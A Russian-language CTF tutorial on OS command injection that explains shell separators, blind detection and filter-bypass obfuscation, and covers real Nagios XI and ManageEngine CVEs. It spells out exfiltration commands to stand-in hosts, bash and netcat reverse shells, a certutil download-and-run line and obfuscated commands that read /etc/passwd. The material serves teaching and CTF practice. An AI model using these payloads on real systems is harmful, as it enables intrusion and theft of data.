
На одном из недавних CTF веб-задача выглядела примитивно: форма проверки доступности хоста через ping. Классика. Стандартные разделители — ;, |, && — фильтровались бэкендом. Минут двадцать я тупо перебирал чеат-шит, пока не попробовал ANSI-C нотацию $'\154\163' (восьмеричное представление команды ls), которая обошла regex, блокировавший латинские буквы. Между «ничего не работает» и чтением /flag.txt — 40 минут и одна неочевидная техника обхода фильтра. Такие задачи на command injection встречаются на каждом крупном CTF, и разница между нулём очков и решённым таском — не в длине шпаргалки с пейлоадами, а в понимании того, как shell парсит строки и какие конструкции проходят мимо фильтра.
Инъекция команд ОС возникает, когда веб-приложение передаёт пользовательский ввод напрямую в системный вызов без санитизации. В терминах MITRE ATT&CK успешная command injection — это Exploit Public-Facing Application (T1190, Initial Access), за которой следует выполнение через Unix Shell (T1059.004) на Linux/macOS или Windows Command Shell (T1059.003) на Windows. В разобранном ниже PHP/Linux-сценарии применим именно T1059.004. Подробнее — в нашем статье о создание ctf заданий.
Типичный CTF-сценарий: PHP-скрипт вызывает shell_exec() или system() с параметром из GET-запроса. Форма для ping получает IP-адрес и подставляет его в системную команду:
<?php
$ip = $_GET['ip'];
$output = shell_exec("ping -c 1 " . $ip);
echo "<pre>$output</pre>";
?>
Отправляем 8.8.8.8; id — команда превращается в ping -c 1 8.8.8.8; id, и вместе с результатом ping прилетает вывод id. Это не специфика PHP: аналогичные функции есть в NodeJS (child_process.exec), Python (os.system, subprocess.run с shell=True) и других языках. Суть одна: если пользовательский ввод попадает в shell-интерпретатор без фильтрации — атакующий контролирует выполнение команд на сервере.
Нюанс, на котором спотыкаются: command injection часто путают с code injection. При command injection пейлоад выполняется в контексте системного shell'а (bash, sh, cmd.exe). При code injection — в контексте языка программирования (PHP eval(), например). Если пейлоад начинается с разделителя вроде ; и запускает бинарник — это command injection, даже если тело пейлоада содержит PHP-код. По данным Fastly, localhost; php -r '$sock=fsockopen(...)' — это command injection через оболочку ОС, не code injection, потому что php -r вызывается как системная команда через shell.
Ключ к эксплуатации command injection в CTF — знание операторов, которые заставляют shell выполнить вторую команду. Выбор зависит от ОС, интерпретатора и набора фильтров.
Точка с запятой ; выполняет команды последовательно: ping 127.0.0.1; whoami. Одинарный амперсанд & запускает первую команду в фоне и сразу выполняет вторую: ping 127.0.0.1 & id. Двойной амперсанд && выполняет вторую только при успехе первой (полезно, когда первая команда должна отработать без ошибки). Pipe | передаёт stdout первой команды на stdin второй, но вторая выполняется независимо: ping 127.0.0.1 | whoami. Двойной pipe || — запуск второй команды только при ошибке первой: invalidcmd || id.
На CTF начинайте с ; и | — они срабатывают в большинстве shell'ов без дополнительных условий. Оба заблокированы? Переходите к %0a (перенос строки) и подстановке команд.
Обратные кавычки и конструкция $() вставляют вывод команды как часть строки. Ввод `whoami` или $(whoami) выполняет команду и подставляет результат. Вложенные подстановки тоже работают: $(echo $(id)). На CTF это важный вектор: прямой разделитель часто фильтруется, а $() — нет, потому что разработчики не считают его «разделителем команд». Зря.
Символ %0a (URL-encoded \n) и %0d (carriage return) обходят фильтры, проверяющие только ;, | и &. Пейлоад 127.0.0.1%0aid в GET-параметре интерпретируется shell'ом как две отдельные команды. Показательный пример из дикой природы: CVE-2023-29084 в ManageEngine ADManagerPlus была эксплуатирована именно через CRLF-инъекцию. Разработчики экранировали классические метасимволы, но пропустили \r\n, и пейлоад [content]\r\ncalc.exe приводил к выполнению произвольной команды. EPSS для этой CVE — 0.9817 (top 1% среди всех CVE в базе).
Не каждая CTF-задача отображает результат команды в HTTP-ответе. Приложение возвращает только «Host is up» или статический текст — перед нами blind command injection. Тут начинается самое интересное.
Идея простая: если sleep 5 заставляет сервер отвечать на пять секунд дольше — инъекция подтверждена. Пейлоады для Linux: ; sleep 5, | sleep 5, $(sleep 5). Для Windows: & ping -n 10 127.0.0.1 (каждый ICMP-пакет ≈ 1 секунда), & timeout 5. Замерять нужно относительно baseline: нормальный ответ приходит за 200 мс, а со sleep 5 — за 5200 мс? RCE подтверждён.
Для извлечения данных побитово — условная конструкция: ; if [ $(cut -c1 /flag.txt) = "f" ]; then sleep 3; fi. Если первый символ флага — f, ответ задерживается на 3 секунды. Перебирая позиции и символы, можно прочитать весь файл. Медленно? Да. Но когда других каналов нет — работает.
Для получения данных целиком используются DNS или HTTP-callback. DNS-эксфильтрация: ; nslookup $(whoami).attacker.domain — результат whoami станет поддоменом в DNS-запросе, видимом на стороне атакующего. Инструменты: Burp Collaborator (Burp Suite Pro), interactsh от ProjectDiscovery (бесплатный) или собственный DNS-сервер на VPS.
HTTP-callback: ; curl http://attacker.com/$(cat /flag.txt | base64) — содержимое флага в base64 попадёт в access-лог контролируемого сервера. Альтернатива через wget: ; wget http://attacker.com/?d=$(id | base64). Обе утилиты здесь используются для OOB-эксфильтрации данных (upload/download по классификации GTFOBins), а не для получения интерактивного reverse shell.
Ограничение, о котором забывают: OOB-техники требуют, чтобы целевой контейнер имел выход в сеть. В CTF на изолированных Docker-стендах без внешнего доступа time-based остаётся единственным каналом.
Почти каждая CTF-задача уровня medium и выше применяет фильтрацию. Blacklist символов, regex-проверки, кастомные санитайзеры — здесь начинается настоящая работа. Согласно OWASP OS Command Injection Defense Cheat Sheet, даже shlex.quote в Python и escapeshellarg() в PHP не всегда спасают от argument injection.
Если пробел фильтруется, альтернативы: переменная $IFS (Internal Field Separator) — cat${IFS}/etc/passwd; brace expansion — {cat,/etc/passwd}; перенаправление ввода — cat</etc/passwd; табуляция — cat$'\t'/etc/passwd; hex-код пробела — cat$'\x20'/etc/passwd.
На практике $IFS срабатывает чаще всего — его почти никогда не фильтруют.
Когда фильтр блокирует cat, ls, whoami — работают техники обфускации. Вставка кавычек: w'h'o'am'i или w"h"o"am"i — bash удаляет кавычки при парсинге, но regex не находит слово whoami целиком. Обратные слеши: \w\h\o\a\m\i. Конкатенация через переменные: a=who;b=ami;$a$b. Реверс строки: $(rev<<<'imaohw').
Для чтения файлов вместо заблокированного cat — head, tail, tac, less, more, nl, xxd, base64, sort. Команда base64 /flag.txt особенно удобна в CTF: вывод не содержит спецсимволов, которые могут сломать HTTP-ответ.
Этот приём показал победитель Dojo CTF Challenge #36 на YesWeHack. Суть: если regex проверяет наличие [a-zA-Z] и при совпадении экранирует ввод, можно обойти его через ANSI-C нотацию $'...' с восьмеричными кодами символов:
# Пробел заблокирован — используем $IFS
cat${IFS}/etc/passwd
# Латинские буквы заблокированы — ANSI-C (octal)
$'\143\141\164'${IFS}$'\057\146\154\141\147\056\164\170\164'
# Раскрывается в: cat /flag.txt
# Команда заблокирована — base64
echo${IFS}"Y2F0IC9mbGFnLnR4dA=="${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash
# Декодируется в: cat /flag.txt
Shell раскрывает escape-последовательности в нормальные символы, а regex их не ловит, потому что в исходной строке нет ни одной буквы. Красиво, правда? Hex-вариант через xxd: bash<<<$(xxd -r -p<<<636174202f666c61672e747874). Обе техники соответствуют Command Obfuscation (T1027.010) по классификации MITRE ATT&CK.
Если фильтр блокирует конкретные строки типа /etc/passwd или flag.txt, символы ? и * заменяют один и несколько символов соответственно: /???/??t /???/p??s?? раскрывается в /bin/cat /etc/passwd. Для флага: cat /fl?g.txt, cat /fla*, /???/??t /fl??.*. Комбинируется с обходом пробелов: {/???/??t,/fl??.*}.
Выглядит как шифрограмма, но bash разворачивает всё без вопросов.
В CTF-задачах с многоступенчатой эксплуатацией (pivoting, privilege escalation) одного cat /flag.txt недостаточно — нужен интерактивный шелл.
Linux/macOS (T1059.004 — Unix Shell). Классический bash reverse shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. Для минимальных контейнеров без bash с поддержкой /dev/tcp — netcat через FIFO: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f. Python one-liner через socket + subprocess + os.dup2 — работает практически везде, где установлен Python.
Windows (T1059.003 — Windows Command Shell). PowerShell reverse shell через New-Object System.Net.Sockets.TCPClient или загрузка бинарника через certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Temp\shell.exe && C:\Temp\shell.exe (известная LOLBAS-техника; в средах с активным Defender/EDR обычно детектируется сигнатурно, но на CTF-стендах без AV — работает).
Если пейлоад не помещается из-за ограничений длины — дробление: записать скрипт через echo ... >> /tmp/s.sh по частям, затем bash /tmp/s.sh. На стороне атакующего — nc -lvnp 4444 для приёма соединения.
CTF-задачи моделируют реальные уязвимости. Три CVE в Nagios XI версии xi-5.7.5 (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298) — показательный пример того, как command injection выглядит в продуктивном ПО мониторинга.
CVE-2021-25296 (CVSS 8.8, HIGH) — инъекция команд в windowswmi.inc.php config wizard. Аутентифицированный пользователь с низкими привилегиями мог выполнить произвольную команду ОС одним HTTP-запросом. Примечательно, что в NVD для этой CVE CWE-идентификатор не присвоен, в отличие от двух следующих. CVE-2021-25297 (CVSS 8.8, HIGH, CWE-78) — аналогичная инъекция в switch.inc.php. CVE-2021-25298 (CVSS 8.8, HIGH, CWE-78) — то же в cloud-vm.inc.php.
Общий CVSS-вектор: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — сетевой доступ, низкая сложность атаки, нужны минимальные привилегии (PR:L), действие пользователя не требуется (UI:N), полный импакт на конфиденциальность, целостность и доступность. Все три добавлены в каталог CISA KEV (Known Exploited Vulnerabilities) 18 января 2022 года — подтверждённая активная эксплуатация. По данным inthewild.io, CVE-2021-25296 эксплуатируется с марта 2021 года. EPSS для CVE-2021-25298 — 0.7515 (top 1%), для CVE-2021-25296 — 0.7218 (тоже top 1%). CISA-ADP SSVC Decision для всех трёх — Act (патчить немедленно), exploitation: active, technical impact: total.
Для автоматизированной проверки систем на эти CVE существуют шаблоны Nuclei от ProjectDiscovery: CVE-2021-25296.yaml, CVE-2021-25297.yaml, CVE-2021-25298.yaml — запускаются одной командой nuclei -u http://target -t http/cves/2021/CVE-2021-25296.yaml -t http/cves/2021/CVE-2021-25297.yaml -t http/cves/2021/CVE-2021-25298.yaml.
Отдельного внимания заслуживает CVE-2023-29084 в ManageEngine ADManagerPlus (EPSS 0.9817, top 1%). Разработчики написали функцию санитизации CommonUtil.getPowerShellEscapedValue, которая экранировала метасимволы вроде &, |, ; — но пропустили CRLF. Один класс пропущенных символов обнулил всю защиту. По данным Fastly, это типичный антипаттерн: blacklist-подход к санитизации всегда оставляет лазейку. Всегда.
Чек-лист, который заменяет хаотичный перебор пейлоадов системным подходом:
Шаг 1 — Разведка точек ввода. Определить параметры, где пользовательский ввод может попасть в системную команду: формы ping/traceroute/nslookup, конвертеры файлов (ImageMagick, ffmpeg), генераторы PDF, любые API с параметрами host, ip, filename, cmd, url. Проверить HTTP-заголовки: User-Agent и X-Forwarded-For иногда логируются через system(). Если доступен исходный код — искать вызовы system(), exec(), popen(), shell_exec(), child_process.exec(), os.system().
Шаг 2 — Детекция через time-based. Отправить ; sleep 5 и замерить задержку ответа. Если ; фильтруется — попробовать | sleep 5, $(sleep 5), %0asleep 5. Если пробел заблокирован — ${IFS} вместо пробела: ;sleep${IFS}5. Подтверждённая задержка = подтверждённый RCE (System Information Discovery, T1082).
Шаг 3 — Картирование blacklist. Последовательно отправлять одиночные символы и команды, отмечая, какие вызывают блокировку: ; | & $ ( ) \ ` ' " пробел. Отдельно проверить: разрешены ли {, }, <, >, %0a, $'...'. Результат — карта доступных конструкций для сборки пейлоада. Без этой карты вы стреляете вслепую.
Шаг 4 — Сборка пейлоада и чтение флага. Используя доступные символы и подходящую технику обхода, собрать рабочий пейлоад. Сначала id или whoami для подтверждения. Затем ls / и find / -name "flag*" для обнаружения файла (File and Directory Discovery, T1083). Прочитать флаг: cat /flag.txt или его обфусцированный эквивалент (Data from Local System, T1005). Если Credentials In Files (T1552.001) — искать пароли в конфигах для дальнейшей эскалации.
Шаг 5 — Reverse shell при необходимости. Для задач с privilege escalation или pivoting — поднять reverse shell. Проверить доступность nc, python, bash с /dev/tcp, curl/wget (для загрузки reverse-shell скрипта на цель и его запуска). Собрать пейлоад с учётом фильтров из шага 3.
Весь процесс на практике занимает от 10 минут (задачи без фильтров) до нескольких часов (многослойная фильтрация с WAF). Основной навык — системный перебор вариантов, а не заучивание готовых пейлоадов. Формула на бумаге понятна, но command injection по-настоящему «щёлкает» только когда прогоняешь пейлоады руками и наблюдаешь, как shell парсит каждую конструкцию. Готовый стенд для отработки подобных задач есть на HackerLab.pro — российская CTF-платформа экосистемы Codeby с категориями web, pwn, forensics, crypto и другими, нужна регистрация, после неё доступны таски всех уровней сложности.
Большинство writeup по command injection в CTF сводятся к перечню готовых пейлоадов: «попробуй ;id, не сработало — попробуй |id». Это формирует привычку работать по шпаргалке вместо понимания механики. На практике каждая задача с нетривиальным фильтром требует обратного подхода: сначала определить, что заблокировано, потом собрать пейлоад из того, что осталось. На YesWeHack Dojo Challenge #36 единственный путь к RCE шёл через восьмеричное кодирование в ANSI-C нотации — ни один стандартный чеат-шит не помог бы без понимания того, как конкретный shell интерпретирует $'\143\141\164'.
Второй системный пробел — отсутствие привычки связывать CTF-пейлоады с реальными угрозами. CVE-2021-25296 в Nagios XI имеет EPSS 0.72 и активно эксплуатируется с 2021 года. Код, который на CTF приносит 100 очков, в продакшене приводит к полной компрометации инфраструктуры мониторинга — а оттуда до lateral movement один шаг. CISA добавила три Nagios XI CVE в каталог активно эксплуатируемых уязвимостей не для статистики — это реальный вектор атаки, который пентестеры находят на проектах. Навык command injection — один из базовых для веб-пентеста, и CTF — отличная среда для его отработки. Но между «решить таск» и «найти command injection на реальном проекте» — разрыв в методологии: нужна не одна техника, а полная цепочка от разведки до post-exploitation. На WAPT эту цепочку проходят в нескольких модулях с лабами — от базовых разделителей до обхода WAF и полноценного RCE.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...